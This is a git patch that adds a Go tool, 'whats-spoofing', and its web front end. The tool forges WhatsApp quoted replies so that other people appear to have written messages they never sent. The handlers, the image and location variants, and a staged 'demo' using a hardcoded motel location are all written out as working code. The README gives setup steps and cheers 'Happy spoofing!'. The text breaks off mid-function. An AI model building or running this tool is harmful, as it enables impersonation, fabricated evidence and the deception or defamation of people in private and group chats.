From 28e074c9c5249a547e10a2ccb3cc5e8e7ea53937 Mon Sep 17 00:00:00 2001 From: Marco Ceccon Date: Wed, 10 Jul 2024 17:33:33 +0200 Subject: [PATCH] Added code --- .gitignore | 23 +++ README.md | 37 ++++ client/index.html | 70 ++++++++ client/script.js | 60 +++++++ client/style.css | 0 commands.go | 264 ++++++++++++++++++++++++++++ functions.go | 283 ++++++++++++++++++++++++++++++ go.mod | 26 +++ go.sum | 76 ++++++++ main.go | 431 ++++++++++++++++++++++++++++++++++++++++++++++ 10 files changed, 1270 insertions(+) create mode 100644 .gitignore create mode 100644 README.md create mode 100644 client/index.html create mode 100644 client/script.js create mode 100644 client/style.css create mode 100644 commands.go create mode 100644 functions.go create mode 100644 go.mod create mode 100644 go.sum create mode 100644 main.go diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..98a90e0 --- /dev/null +++ b/.gitignore @@ -0,0 +1,23 @@ +*.bkp +*.db +*.jfif +*.jpeg +*.jpep +*.jpg +*.json +*.m4v +*.mp1 +*.oga +*.ogg +*.pdf +*.png +*.svg +*.vcf +*.webp +*.xlsx +.DS_Store +.env +notas.txt +db/ +data/ +whats-spoofing \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..c3a2e67 --- /dev/null +++ b/README.md @@ -0,0 +1,37 @@ +# whats-spoofing + +Reply spoofer for WhatsApp messages. + +## Installation + +```bash +$ git clone https://github.com/macedonga/whats-spoofing.git +$ cd whats-spoofing +$ mkdir -p data && mkdir -p db && mkdir -p history +$ go mod download +$ go build +``` + +## Usage + +```bash +$ ./whats-spoofing +``` + +Once you see a QR code on the terminal, scan it with your WhatsApp app just like when you login on WhatsApp web. / +This is necessary to get the session token to send messages. / +After that, when you see on your terminal `Listening on localhost:8080`, open a browser tab and go to `http://localhost:8080`. / + +You will see a form to send messages. / +Fill the form with the phone number (with the international prefix but without +) you want to send the message to, the number of the user to spoof (the number that will appear on the message), the spoofed reply message and the reply, sent by you. / +If you want to send a spoofed message to a group, just copy and paste the group ID (which you can get below the sender form) on the first phone number input. / +Click on the `Send` button and the message will be sent. / + +Happy spoofing! 🎉 + +**Use this tool responsibly! I'm not responsible for any misuse of this tool.** + +--- + +*I forked and updated this project with a newer version of Whatsmeow and a web interface. / +The original project has been deleted from Github, but it was made by [@lichti](https://github.com/lichti/)* \ No newline at end of file diff --git a/client/index.html b/client/index.html new file mode 100644 index 0000000..e58c191 --- /dev/null +++ b/client/index.html @@ -0,0 +1,70 @@ + + + + + + + WhatsApp spoofer + + + + + + + + + + +
+
+
+

WhatsApp spoofer

+ + + + + + + +
+ +
+

Group IDs

+ +
+ Fetching... +
+
+
+
+ + + + + \ No newline at end of file diff --git a/client/script.js b/client/script.js new file mode 100644 index 0000000..f3e0bb2 --- /dev/null +++ b/client/script.js @@ -0,0 +1,60 @@ +const fetchGids = async () => { + const res = await fetch("/get-groups"); + let data = (await res.text()).split("\n").map(e => e.trim()); + + data = data + .filter(e => e.length > 0) + .map(e => { + let split = e.split(":"); + const id = split.pop(); + const name = split.join(":"); + + return `
${name}
${id}
`; + }); + + const container = document.getElementById("gids"); + + container.innerHTML = data.join(""); +}; + +fetchGids(); + +const sendForm = async () => { + const form = document.querySelectorAll("form")[0]; + + let cid = form.elements["cid"].value; + let sid = form.elements["sid"].value; + let spf_msg = form.elements["spf_msg"].value; + let rpl_msg = form.elements["rpl_msg"].value; + + if (cid.length === 0 || sid.length === 0 || spf_msg.length === 0 || rpl_msg.length === 0) { + alert("All fields are required"); + return; + } + + if (!cid.includes("@")) + cid += "@s.whatsapp.net"; + + if (!sid.includes("@")) + cid += "@s.whatsapp.net"; + + let data = { + "chat_id": cid, + "spoofed_id": sid, + "message_id": "!", + "spoofed_message": spf_msg, + "reply_message": rpl_msg + }; + + const res = await fetch("/send-spoofed", { + method: "POST", + headers: { + "Content-Type": "application/json" + }, + body: JSON.stringify(data) + }); + + const text = await res.json(); + + alert(text.message); +}; \ No newline at end of file diff --git a/client/style.css b/client/style.css new file mode 100644 index 0000000..e69de29 diff --git a/commands.go b/commands.go new file mode 100644 index 0000000..e66263b --- /dev/null +++ b/commands.go @@ -0,0 +1,264 @@ +package main + +import ( + "fmt" + "strings" + + waProto "go.mau.fi/whatsmeow/binary/proto" + "go.mau.fi/whatsmeow/types" +) + +func cmdGetGroup(args []string) (output string) { + if len(args) < 1 { + output = "\n[getgroup] Usage: getgroup " + log.Errorf("%s", output) + return + } + group, ok := parseJID(args[0]) + if !ok { + output = "\n[getgroup] You need to specify a valid group JID" + log.Errorf("%s", output) + return + } else if group.Server != types.GroupServer { + output = fmt.Sprintf("\n[getgroup] Input must be a group JID (@%s)", types.GroupServer) + log.Errorf("%s", output) + return + } + resp, err := cli.GetGroupInfo(group) + if err != nil { + output = fmt.Sprintf("\n[getgroup] Failed to get group info: %v", err) + log.Errorf("%s", output) + return + } else { + output = fmt.Sprintf("\n[getgroup] Group info: %+v", resp) + log.Infof("%s", output) + return + } +} + +func cmdListGroups(args []string) (output string) { + groups, err := cli.GetJoinedGroups() + if err != nil { + output = fmt.Sprintf("\n[listgroup] Failed to get group list: %v", err) + log.Errorf("%s", output) + return + } else { + for _, group := range groups { + output = fmt.Sprintf("%s%+v: %+v\n", output, group.GroupName.Name, group.JID) + log.Infof("%s", output) + } + return + } +} + +func cmdSendSpoofedReply(args []string) (output string) { + if len(args) < 4 { + output = "\n[send-spoofed-reply] Usage: send-spoofed-reply |" + log.Errorf("%s", output) + return + } + + chat_jid, ok := parseJID(args[0]) + if !ok { + output = "\n[send-spoofed-reply] You need to specify a valid Chat ID (Group or User)" + log.Errorf("%s", output) + return + } + + msgID := args[1] + if msgID[0] == '!' { + msgID = cli.GenerateMessageID() + } + + spoofed_jid, ok2 := parseJID(args[2]) + if !ok2 { + output = "\n[send-spoofed-reply] You need to specify a valid User ID to spoof" + log.Errorf("%s", output) + return + } + + parameters := strings.SplitN(strings.Join(args[3:], " "), "|", 2) + spoofed_text := parameters[0] + text := parameters[1] + + _, resp, err := sendSpoofedReplyMessage(chat_jid, spoofed_jid, msgID, spoofed_text, text) + if err != nil { + output = fmt.Sprintf("\n[send-spoofed-reply] Error on sending spoofed msg: %v", err) + log.Errorf("%s", output) + return + } else { + output = fmt.Sprintf("\n[send-spoofed-reply] spoofed msg sended: %+v", resp) + log.Infof("%s", output) + return + } +} + +func cmdSendSpoofedImgReply(args []string) (output string) { + if len(args) < 5 { + output = "\n[send-spoofed-img-reply] Usage: send-spoofed-img-reply |" + log.Errorf("%s", output) + return + } + chat_jid, ok := parseJID(args[0]) + if !ok { + output = "\n[send-spoofed-img-reply] You need to specify a valid Chat ID (Group or User)" + log.Errorf("%s", output) + return + } + + msgID := args[1] + if msgID[0] == '!' { + msgID = cli.GenerateMessageID() + } + + spoofed_jid, ok2 := parseJID(args[2]) + if !ok2 { + output = "\n[send-spoofed-img-reply] You need to specify a valid User ID to spoof" + log.Errorf("%s", output) + return + } + + spoofed_file := args[3] + + parameters := strings.SplitN(strings.Join(args[4:], " "), "|", 2) + spoofed_text := parameters[0] + text := parameters[1] + + _, resp, err := sendSpoofedReplyImg(chat_jid, spoofed_jid, msgID, spoofed_file, spoofed_text, text) + if err != nil { + output = fmt.Sprintf("\n[send-spoofed-img-reply] Error on sending spoofed msg: %v", err) + log.Errorf("%s", output) + return + } else { + output = fmt.Sprintf("\n[send-spoofed-img-reply] spoofed msg sended: %+v", resp) + log.Infof("%s", output) + return + } +} + +func cmdSendSpoofedDemo(args []string) (output string) { + if len(args) < 4 { + output = "\n[send-spoofed-demo] Usage: send-spoofed-demo " + log.Errorf("%s", output) + return + } + + var toGender string + if args[0] != "boy" && args[0] != "girl" { + output = "\n[send-spoofed-demo] Error: " + log.Errorf("%s", output) + return + } else { + toGender = args[0] + } + + var language string + if args[1] != "br" && args[1] != "en" { + output = "\n[send-spoofed-demo] Error: " + log.Errorf("%s", output) + return + } else { + language = args[1] + } + + chat_jid, ok := parseJID(args[2]) + if !ok { + output = "\n[send-spoofed-demo] You need to specify a valid Chat ID (Group or User)" + log.Errorf("%s", output) + return + } + spoofed_jid, ok2 := parseJID(args[3]) + if !ok2 { + output = "\n[send-spoofed-demo] You need to specify a valid User ID to spoof" + log.Errorf("%s", output) + return + } + sendSpoofedTalkDemo(chat_jid, spoofed_jid, toGender, language, "") + output = fmt.Sprintf("\n[send-spoofed-demo] spoofed msg sended to %s as %s", chat_jid, spoofed_jid) + return + +} + +func cmdSendSpoofedDemoImg(args []string) (output string) { + if len(args) < 5 { + log.Errorf("\n[send-spoofed-demo-img] Usage: send-spoofed-demo-img ") + return + } + + var toGender string + if args[0] != "boy" && args[0] != "girl" { + output = "\n[send-spoofed-demo-img] Error: " + log.Errorf("%s", output) + return + } else { + toGender = args[0] + } + + var language string + if args[1] != "br" && args[1] != "en" { + output = "\n[send-spoofed-demo-img] Error: " + log.Errorf("%s", output) + return + } else { + language = args[1] + } + + chat_jid, ok := parseJID(args[2]) + if !ok { + output = "\n[send-spoofed-demo-img] You need to specify a valid Chat ID (Group or User)" + log.Errorf("%s", output) + return + } + spoofed_jid, ok2 := parseJID(args[3]) + if !ok2 { + output = "\n[send-spoofed-demo-img] You need to specify a valid User ID to spoof" + log.Errorf("%s", output) + return + } + + spoofed_img := args[4] + + sendSpoofedTalkDemo(chat_jid, spoofed_jid, toGender, language, spoofed_img) + output = fmt.Sprintf("\n[send-spoofed-demo-img] send-spoofed-demo-img: spoofed msg sended to %s as %s", chat_jid, spoofed_jid) + return +} + +func cmdSpoofedReplyThis(args []string, msg *waProto.Message) (output string) { + if len(args) < 4 { + output = "\n[spoofed-reply-this] Usage: spoofed-reply-this " + log.Errorf("%s", output) + return + } + + chat_jid, ok := parseJID(args[0]) + if !ok { + output = "\n[send-spoofed-reply] You need to specify a valid Chat ID (Group or User)" + log.Errorf("%s", output) + return + } + + msgID := args[1] + if msgID[0] == '!' { + msgID = cli.GenerateMessageID() + } + + spoofed_jid, ok2 := parseJID(args[2]) + if !ok2 { + output = "\n[send-spoofed-reply] You need to specify a valid User ID to spoof" + log.Errorf("%s", output) + return + } + + text := strings.Join(args[3:], " ") + + _, resp, err := sendSpoofedReplyThis(chat_jid, spoofed_jid, msgID, text, msg) + if err != nil { + output = fmt.Sprintf("\n[reply-spoofed-this] Error on sending spoofed msg: %v", err) + log.Errorf("%s", output) + return + } else { + output = fmt.Sprintf("\n[reply-spoofed-this] spoofed msg sended: %+v", resp) + log.Infof("%s", output) + return + } +} diff --git a/functions.go b/functions.go new file mode 100644 index 0000000..1ecf868 --- /dev/null +++ b/functions.go @@ -0,0 +1,283 @@ +package main + +import ( + "context" + "errors" + "fmt" + "mime" + "net/http" + "os" + "strings" + + "go.mau.fi/whatsmeow" + waE2E "go.mau.fi/whatsmeow/proto/waE2E" + "go.mau.fi/whatsmeow/types" + "go.mau.fi/whatsmeow/types/events" + "google.golang.org/protobuf/proto" +) + +func sendSpoofedReplyThis(chatID types.JID, spoofedID types.JID, msgID string, text string, msg *waE2E.Message) (*waE2E.Message, *whatsmeow.SendResponse, error) { + newmsg := &waE2E.Message{ + ExtendedTextMessage: &waE2E.ExtendedTextMessage{ + Text: proto.String(text), + PreviewType: waE2E.ExtendedTextMessage_IMAGE.Enum(), + // PreviewType: waE2E.ExtendedTextMessage_NONE.Enum(), + ContextInfo: &waE2E.ContextInfo{ + StanzaID: proto.String(msgID), + Participant: proto.String(spoofedID.String()), + QuotedMessage: msg.ExtendedTextMessage.ContextInfo.QuotedMessage, + }, + }, + } + resp, err := cli.SendMessage(context.Background(), chatID, newmsg) + if err != nil { + log.Errorf("Error sending reply message: %v", err) + return msg, &resp, err + } else { + log.Infof("Message sent (server timestamp: %s)", resp.Timestamp) + return msg, &resp, err + } +} + +func sendSpoofedReplyMessage(chatID types.JID, fromID types.JID, msgID string, replyText string, myTtext string) (*waE2E.Message, *whatsmeow.SendResponse, error) { + msg := &waE2E.Message{ + ExtendedTextMessage: &waE2E.ExtendedTextMessage{ + Text: proto.String(myTtext), + ContextInfo: &waE2E.ContextInfo{ + StanzaID: proto.String(msgID), + Participant: proto.String(fromID.String()), + QuotedMessage: &waE2E.Message{ + Conversation: proto.String(replyText), + }, + }, + }, + } + resp, err := cli.SendMessage(context.Background(), chatID, msg) + if err != nil { + log.Errorf("Error sending reply message: %v", err) + return msg, &resp, err + } else { + log.Infof("Message sent (server timestamp: %s)", resp.Timestamp) + return msg, &resp, err + } +} + +func sendSpoofedReplyImg(chatID types.JID, fromID types.JID, msgID string, file string, replyText string, myTtext string) (*waE2E.Message, *whatsmeow.SendResponse, error) { + data, err := os.ReadFile(file) + if err != nil { + log.Errorf("Failed to read %s: %v", file, err) + return &waE2E.Message{}, &whatsmeow.SendResponse{}, err + } + uploaded, err := cli.Upload(context.Background(), data, whatsmeow.MediaImage) + if err != nil { + log.Errorf("Failed to upload file: %v", err) + return &waE2E.Message{}, &whatsmeow.SendResponse{}, err + } + + msg := &waE2E.Message{ + ExtendedTextMessage: &waE2E.ExtendedTextMessage{ + Text: proto.String(myTtext), + PreviewType: waE2E.ExtendedTextMessage_IMAGE.Enum(), + // PreviewType: waE2E.ExtendedTextMessage_NONE.Enum(), + ContextInfo: &waE2E.ContextInfo{ + StanzaID: proto.String(msgID), + Participant: proto.String(fromID.String()), + QuotedMessage: &waE2E.Message{ + ImageMessage: &waE2E.ImageMessage{ + Caption: proto.String(replyText), + URL: proto.String(uploaded.URL), + DirectPath: proto.String(uploaded.DirectPath), + MediaKey: uploaded.MediaKey, + Mimetype: proto.String(http.DetectContentType(data)), + FileEncSHA256: uploaded.FileEncSHA256, + FileSHA256: uploaded.FileSHA256, + FileLength: proto.Uint64(uint64(len(data))), + JPEGThumbnail: data, + Height: proto.Uint32(100), + Width: proto.Uint32(100), + MidQualityFileSHA256: uploaded.FileSHA256, + }, + }, + }, + }, + } + resp, err := cli.SendMessage(context.Background(), chatID, msg) + if err != nil { + log.Errorf("Error sending reply message: %v", err) + return msg, &resp, err + } else { + log.Infof("Message sent (server timestamp: %s)", resp.Timestamp) + return msg, &resp, err + } +} + +func sendSpoofedReplyLocation(chatID types.JID, fromID types.JID, msgID string, file string, myTtext string) (*waE2E.Message, *whatsmeow.SendResponse, error) { + msg := &waE2E.Message{ + ExtendedTextMessage: &waE2E.ExtendedTextMessage{ + Text: proto.String(myTtext), + PreviewType: waE2E.ExtendedTextMessage_NONE.Enum(), + // PreviewType: waE2E.ExtendedTextMessage_NONE.Enum(), + ContextInfo: &waE2E.ContextInfo{ + StanzaID: proto.String(msgID), + Participant: proto.String(fromID.String()), + QuotedMessage: &waE2E.Message{ + LocationMessage: &waE2E.LocationMessage{ + DegreesLatitude: proto.Float64(-23.664372670968287), + DegreesLongitude: proto.Float64(-46.49175593257989), + Name: proto.String("Motel Confidence"), + Address: proto.String("R. Giovanni Battista Pirelli, 1729, Santo André, SP 09111-340"), + URL: proto.String("http://www.motelconfidence.com.br/"), + JPEGThumbnail: []byte("\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xe2\x02(ICC_PROFILE\x00\x01\x01\x00\x00\x02\x18\x00\x00\x00\x00\x040\x00\x00mntrRGB XYZ \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00acsp\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\xf6\xd6\x00\x01\x00\x00\x00\x00\xd3-\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\tdesc\x00\x00\x00\xf0\x00\x00\x00trXYZ\x00\x00\x01d\x00\x00\x00\x14gXYZ\x00\x00\x01x\x00\x00\x00\x14bXYZ\x00\x00\x01\x8c\x00\x00\x00\x14rTRC\x00\x00\x01\xa0\x00\x00\x00(gTRC\x00\x00\x01\xa0\x00\x00\x00(bTRC\x00\x00\x01\xa0\x00\x00\x00(wtpt\x00\x00\x01\xc8\x00\x00\x00\x14cprt\x00\x00\x01\xdc\x00\x00\x00\x0e\xb0\\\xa6ǐ\x82\xechμ\x84\xad<\xcaPH\x1d]\x95\xe6\t\xb2\x16\xd3Kyd\xb8\xea\x8eJ\x94rT\xa2w$\xd6+ˉR\xc4a\xab=\xfd\x87\xb2\xe9޹T\xac\xfc1\xfe<\xce\xc5n\xf2\xb5\x19\xc9\tE\xca\xd4\xecfN\xdd+/t\xda{\xc8ғ\x8f\x0c\x9e\xea\xe90\xe4\xb16+Rb\xba\x87\x98u!HZ\x0eB\x81\xaf%[\xe6\xad\xf7Kn\x01\xcb \x8a\xed~C\xa7>\xe4+\xac\x15k[\x11\xd6ۭ\x803\xa7^\xac\x8f\x0c\xa3>$\xd5V\xb7S\x94\xfd\xddCf\xd8\xd8\xf6\xf4m\xfe&ۂZ\xa3\xa7\xd1M+\x03\xd6\nO\xdaI\x14\x07[<\x96\x93\xf7פ|\xa0\xeaT\x9d.!]\xf8\xf6\xedIMs\x1d\x1a\xb2p1΀\x91\xa2\x91\x04\x94$\x91\x82F㲊\x82M\x1a(\xa2\xa4\x81\xae\xee\x82;p?\x1a{\xdb\xcas\xb8\x01\xff\x00\xbd\xb4\xd5\x0c\xa9\xb1ڴ\xfet\xaa\xdd\xf7\x8f\xd6\xf7\n\x03\x0c\xe8\xadM\x85\",\x80K/\xb6\xa6\x96\x07ZT0\x7f\x03^h\xe2\x1b,\x8b5\xcaE\xb2⌭\xbeJ\xc6\x03\xa8\xf9+\x1d\xc7\xf09\x1dU\xe9ک\xf9H\xe1\xa4q\x05\x89Ű\x8c\xdcb\xa4\xb9\x1c\x81\xba\xbb[\xf0V=\xb85\x92\xf2\xdf\xde\xc7+T{{\x13i|\x15m\xd9\xfe\xc9k˟S\xcf,Fj6\xa5 cm\xc9=U\xde\xfc\x94p\xf3\xf6K\x1b\x92e\x85\xb32r\x92\xe2\x9b\xe4P\x80=\x04\x91۹=ڱ\xd5T\x7f$\\:\xdd\xe6滤\xb4k\x87\tI\xe8\xd2F\xcbx\x8c\x8c\xfd\x91\x83\x8e\xd2;+\xb7\xd6{\n\x1f\xdb/\xa1\xe8\xfbE\xb4S\xfd\x1d-\x16\xbd\x05\x0e<9;\x9f\xb4\x91\xee\xc5)u\xd3\xeb\x06\x97\xfd$Si\xa4\xabB\x9c\t\x05\xb4\xf39߿j\xf4ϓ\x17(\xf9QZ\xf1I\xdf\xf2\xa1%\x90\xa0K\x0e\x8c}l\x8ffihܐ\x94\x8c\xa8\xf2\x02\x80\xdciĸ\x8dI\xce9n1E#\x08-\xb4\x12H'$\x9cw\x9c\xd1PI\xa9E\x14T\x90\t\xdd\xf6G\xd6\xf7\x1aD\x9c\xa9\xc3ڵ~x\xa7\xb3\xbc\xa6\xc7`'\xf2\x1e\xfa\xc6\xd1\xca\x01\xed\xc9\xf6\xef@:\x8a\xd6zXKkS\x08\\\x85$\xe0\x86\xf0p{\xcf*\xabq\x07\x13̏2t\x186\xee\x99\xf8Q\x04\xd7\xd4\xec\xa4\xc7o\xa3 \xfa\x8a\xc1R\x8e\xca\x19\xc2@=u\x96\xa5\xdd8\xbcG\x8b\xe5Ժ\x14%.E\x86\xddo\xb6\xd8!8\xd4&\x9a\x87\x19N)\xd5\rX\x1a\x95\xcc\xee\x7f\xf7*Ȼ\x8bi\x00\x86\xdd\xd2T\x94%N\x00\xdaT\xa5l\x90\n\xf1\x9c\x9eʦ\xde\xef\xeb\x87n\xb6\xdc-\xf6\xa4\xca\xf3\x98bcb[\xab[\xaa8\xd4YBP\x14\xad@sQ\xc2S\xb6N\xfbV\xaeQ]\xbe\xfc;\x15WYJU\xca+W\xeb\xfb\xff\x00\xed\xce\x16\x1bm/cS(\xeb\xe8\xfd\x11\xd8s\x921\x9a\xb3\xc0\xb5\xdb\xe0\xb3\x05\x98P\x98m\xa8\xad\x7f\xa6\xcau)\xa0\xa2u\x04\xa8\xe4\x8fmo$-~\xa3j#\xb4\xec?\x1a\x16\xc9m\r\x97\x1fi\xbd \xa7\xd2\x1d\xfe\"\xb5B\x94!\xa2)\x95I\xcfV\n\xf4\x86\x15\xb8\xef\xa4\xc7b\x96<\x14E\x1f\x17\xd7$\x1f\xb2\x9fޏ\x89\xfagς?Ƭ+2\xc7sK\xa1\n^B\xc1)\nV\xfbs\xc6w뤑\xff\x00 \xfd\x91絛\x94+kW>\x1eS\x0c\xdb߹OR\xb4D)m!L\xb8Fu\x15\x9chNۜ\xf6u\xd1\xc1\xb6\xa9\x90\xe5\xccrE\xd9%\x01!\xa1kL\xb5\xc9DRH#S\x8b%EX\x04c\x00s\xd8\xf3\xa0,\xf4S\xba\x17\xfa\x83G\xfa\xcf\xe9E\x01ˮ\xf7\xc9RaˍhR\xa4\xb5sa\x17\x06\x1d\x86\xeb\xa5o\x96\xdcJ%\xb2\xd9Q\xcaN\x91\xe8\xa58\xdb=f\xb6\xadv8w\xc7\xee\x8c\xc1]\xc1\xab+Ie\xf8\x12]K\x89v$\xa3\xa88\x96\x8b\x83QI\x01:\x92v\xc9\"\xad\xd6N\x1d\x81i\x89\x11\xa4 \xc9z3\xae\xbe\x89/\x80\\\x0e9\x9dj\x18\x00\x0c\xea;\x00\x05K-g͚թEN\x13۰\xce=Վ\x16ͽ\xe9\xf7\xdfCT\xab\xa4\xb1\x0e\xfb\xeaW\xe0p\x8d\xad\xab]\x965\xca;\x17\x19\x16\xb6\x12\xcbR\x1cl\xa4\x90\x90:\xb2v\xd8lr6\xab\n\xd6\x12\x06\xa2\x00\xe4\x05\x05\nө\xd5\x06Qߺ\x8d\tPN\xec7\xbf\xd29\xcf\xd9\xfbV\xa8\xc20\xe1\x14g\x94\xa5-XiYN\xa5a\xa6\xfer\xf9\xfb?ZD\xa9(9a\x05J\xfaG=\xc3\xf6\xa1`-\xcdjʉ\xdcg\xab\xb8P\xa5\x04\x8c\xa8\x80;룑U\xa9\x7f\xc4Z\x8fp8\x1f\x857\xf9f>\xab\x8aOݿ\xf6\xa7%+Ru\x1c6\xdf\xce^߅;\xe2\x04Un\xb7R\x95N<;h\x06\xd1M\xf8\x9f\xa0\x91\xff\x00g\xf9S\xb4\xb1Ї4\xbc=-8\xd6s\x9fm\x01\x13\xc51\x1a\x9dfS\x0f\xdcg[\x90\xb7[OM\x0c\x9dd\xa9ZBN\x01:IP\xcf.\xf2\x05'\x0e؜\xb0\xc4r#\x8eBv)P\xe8C\x10\xc3\n\x07}ExQ\n'm\xf0:\xebj\xf1pb\xd5i\x99p)\x92\xb1\x19\xa2\xe7F\x0e5\xe3\x90\xcfVN\x06j\"g\x13LEը\xaf@\x8f\xd00\xe4X\xf3]K䩹\x0f\xe0\x04\xb64\xe1A:\x92I$l\xae[P\x16\x1e\x85\xbf\xa3G\xb2\x8aq\x08\x07\x1ev\xc8\xf1\x1fފ\x01N\xc0\xd0\xe3\xcbf4T\xb6@\xd6\x00'\xaf\x95\x14P\x08\x105j9R\xber\xb74\xb4Q@1\xe5\x940\xe2\x874\xe0\x8f\xbfj̴& 0 { + input <- line + } + } + }() + for { + select { + case <-c: + log.Infof("Interrupt received, exiting") + cli.Disconnect() + return + case cmd := <-input: + if len(cmd) == 0 { + log.Infof("Stdin closed, exiting") + cli.Disconnect() + return + } + if isWaitingForPair.Load() { + if cmd == "r" { + pairRejectChan <- true + } else if cmd == "a" { + pairRejectChan <- false + } + continue + } + args := strings.Fields(cmd) + cmd = args[0] + args = args[1:] + go handleCmd(strings.ToLower(cmd), args) + } + } +} + +var historySyncID int32 +var startupTime = time.Now().Unix() + +func handleCmd(cmd string, args []string) { + handleCmd1(cmd, args, nil) +} + +func handleCmd1(cmd string, args []string, evt *events.Message) (output string) { + output = "Command not found" + switch cmd { + case "getgroup": + output = cmdGetGroup(args) + log.Infof("output: %s", output) + case "listgroups": + output = cmdListGroups(args) + log.Infof("output: %s", output) + case "send-spoofed-reply": + print("args: ", args) + output = cmdSendSpoofedReply(args) + log.Infof("output: %s", output) + case "send-spoofed-img-reply": + output = cmdSendSpoofedImgReply(args) + log.Infof("output: %s", output) + case "send-spoofed-demo": + output = cmdSendSpoofedDemo(args) + log.Infof("output: %s", output) + case "send-spoofed-demo-img": + output = cmdSendSpoofedDemoImg(args) + log.Infof("output: %s", output) + case "spoofed-reply-this": + if evt != nil { + if evt.Message.ExtendedTextMessage != nil { + if evt.Message.ExtendedTextMessage.ContextInfo != nil { + if evt.Message.ExtendedTextMessage.ContextInfo.QuotedMessage != nil { + output = cmdSpoofedReplyThis(args, evt.Message) + log.Infof("output: %s", output) + } + } + } else { + output = "You need use this command replying a message" + log.Infof("output: %s", output) + } + } else { + output = "You need to reply a message using your whatsapp client to use this command" + log.Infof("output: %s", output) + } + } + return +} + +type RequestSendSpoofed struct { + CID string `json:"chat_id"` + MID string `json:"message_id"` + SID string `json:"spoofed_id"` + SPF_MSG string `json:"spoofed_message"` + RPL_MSG string `json:"reply_message"` +} + +type ResponseData struct { + Message string `json:"message"` +} + +func spoofedMsgSenderHandler(w http.ResponseWriter, r *http.Request) { + log.Infof("HTTP Request: %s", r.URL.Path) + if r.Method == "POST" { + var requestData RequestSendSpoofed + if err := json.NewDecoder(r.Body).Decode(&requestData); err != nil { + http.Error(w, "Error parsing JSON request body", http.StatusBadRequest) + return + } + + if requestData.CID == "" || requestData.MID == "" || requestData.SID == "" || requestData.SPF_MSG == "" || requestData.RPL_MSG == "" { + http.Error(w, "Invalid request", http.StatusBadRequest) + return + } + + var args = []string{requestData.CID, requestData.MID, requestData.SID, requestData.SPF_MSG + "|" + requestData.RPL_MSG} + + print("args: ", args) + + var output = cmdSendSpoofedReply(args) + log.Infof("output: %s", output) + + w.WriteHeader(http.StatusOK) + + w.Header().Set("Content-Type", "application/json") + + responseData := ResponseData{ + Message: output, + } + + if err := json.NewEncoder(w).Encode(responseData); err != nil { + http.Error(w, "Error encoding JSON response", http.StatusInternalServerError) + return + } + + return + } + w.WriteHeader(http.StatusBadRequest) + w.Write([]byte("Invalid request")) +} + +func getGroupsHandler(w http.ResponseWriter, r *http.Request) { + log.Infof("HTTP Request: %s", r.URL.Path) + if r.Method == "GET" { + var output = cmdListGroups([]string{}) + log.Infof("output: %s", output) + + w.WriteHeader(http.StatusOK) + + w.Write([]byte(output)) + + return + } + w.WriteHeader(http.StatusBadRequest) + w.Write([]byte("Invalid request")) +} + +func handler(rawEvt interface{}) { + switch evt := rawEvt.(type) { + case *events.AppStateSyncComplete: + if len(cli.Store.PushName) > 0 && evt.Name == appstate.WAPatchCriticalBlock { + err := cli.SendPresence(types.PresenceAvailable) + log.Errorf("AppStateSyncComplete %s: %v", rawEvt, err) + } + return + case *events.Connected, *events.PushNameSetting: + if len(cli.Store.PushName) == 0 { + return + } + err := cli.SendPresence(types.PresenceAvailable) + log.Errorf("Connected %s: %v", rawEvt, err) + + r := http.NewServeMux() + + buildHandler := http.FileServer(http.Dir("client/")) + r.Handle("/", buildHandler) + r.HandleFunc("/send-spoofed", spoofedMsgSenderHandler) + r.HandleFunc("/get-groups", getGroupsHandler) + + srv := &http.Server{ + Handler: r, + Addr: "127.0.0.1:8080", + WriteTimeout: 15 * time.Second, + ReadTimeout: 15 * time.Second, + } + + log.Infof("Listening on localhost:8080") + if srv.ListenAndServe() != nil { + log.Errorf("Failed to start server: %v", err) + } + + return + case *events.StreamReplaced: + os.Exit(0) + case *events.Message: + log.Infof("Received message %s from %s (%s)", evt.Info.ID, evt.Info.SourceString()) + + if strings.HasPrefix(getMsg(evt), getIDSecret) { + if evt.Info.IsFromMe { + text := fmt.Sprintf("-> Cmd output: \nChatID %v", evt.Info.Chat) + jid, _ := parseJID(cli.Store.ID.User) + sendConversationMessage(jid, text) + return + } + } + + if strings.HasPrefix(getMsg(evt), "/setSecrete ") { + if evt.Info.IsFromMe { + jid, _ := parseJID(cli.Store.ID.User) + if evt.Info.Chat.String() == jid.String() { + words := strings.SplitN(getMsg(evt), " ", 2) + if len(words) > 1 { + strWords := words[1] + getIDSecret = strWords + text := fmt.Sprintf("-> Cmd output: \nbSecret set to %s", getIDSecret) + sendConversationMessage(jid, text) + } else { + text := fmt.Sprintf("-> Cmd output: \nYou need to set a secret") + sendConversationMessage(jid, text) + } + return + } + } + } + + if strings.HasPrefix(getMsg(evt), "/cmd ") { + if evt.Info.IsFromMe { + jid, _ := parseJID(cli.Store.ID.User) + if evt.Info.Chat.String() == jid.String() { + words := strings.SplitN(getMsg(evt), " ", 3) + if len(words) > 1 { + strCommand := words[1] + strParameters := "" + out := handleCmd1(strCommand, []string{}, evt) + if len(words) > 2 { + strParameters = words[2] + out = handleCmd1(strCommand, strings.Split(strParameters, " "), evt) + } + text := fmt.Sprintf("-> Cmd output: %s", out) + sendConversationMessage(jid, text) + } else { + text := fmt.Sprintf("-> Cmd output: \nYou need send a valid command") + sendConversationMessage(jid, text) + } + return + } + } + } + + img := evt.Message.GetImageMessage() + if img != nil { + ok := download("Message.GetImageMessage", evt.Message.GetImageMessage(), evt.Message.GetImageMessage().GetMimetype(), evt, rawEvt) + if ok == nil { + return + } + } + + audio := evt.Message.GetAudioMessage() + if audio != nil { + ok := download("Message.GetAudioMessage", evt.Message.GetAudioMessage(), evt.Message.GetAudioMessage().GetMimetype(), evt, rawEvt) + if ok == nil { + return + } + } + + video := evt.Message.GetVideoMessage() + if video != nil { + ok := download("Message.GetVideoMessage", evt.Message.GetVideoMessage(), 